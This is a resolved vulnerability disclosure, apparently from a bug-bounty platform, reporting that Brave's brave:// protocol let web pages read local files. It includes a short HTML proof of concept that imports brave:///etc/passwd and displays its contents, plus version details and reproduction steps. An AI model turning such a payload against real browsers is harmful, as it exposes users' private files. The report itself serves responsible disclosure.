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Local files reading from the web using `brave://`

Critical
B
Brave Software
Submitted None
Reported by metnew

Vulnerability Details

Technical details and impact analysis

## Summary: `brave://` protocol was introduced as a replacement for `AsarProtocolHandler`(or something like that) in `brave/muon` after #375329. However, fix for #375329 introduced a new much severe bug that allows reading files from a user's device from the web. PoC is similar to #375329, but it uses `brave://` instead of `file://`: ``` <head> <script> function show() { var file = link.import.querySelector('body') alert(file.innerHTML) } </script> <link id="link" href="brave:///etc/passwd" rel="import" as="document" onload="show()" /> </head> ``` ## Products affected: Brave: 0.23.73 V8: 6.8.275.24 rev: 50bdb6df42550dd14f5636770ec8585aa26e361b Muon: 8.0.3 OS Release: 17.7.0 Update Channel: Release OS Architecture: x64 OS Platform: macOS Node.js: 7.9.0 Brave Sync: v1.4.2 libchromiumcontent: 68.0.3440.75 ## Steps To Reproduce: 1. Open `exploit.html` from the web 2. Page alerts contents of `file:///etc/passwd` ## Supporting Material Screencast attached. ## Impact Reading local files from the web is a critical vulnerability. I'm investigating this issue more detailed now, maybe impact is much severe than reading local files.

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State

Closed

Substate

Resolved

Submitted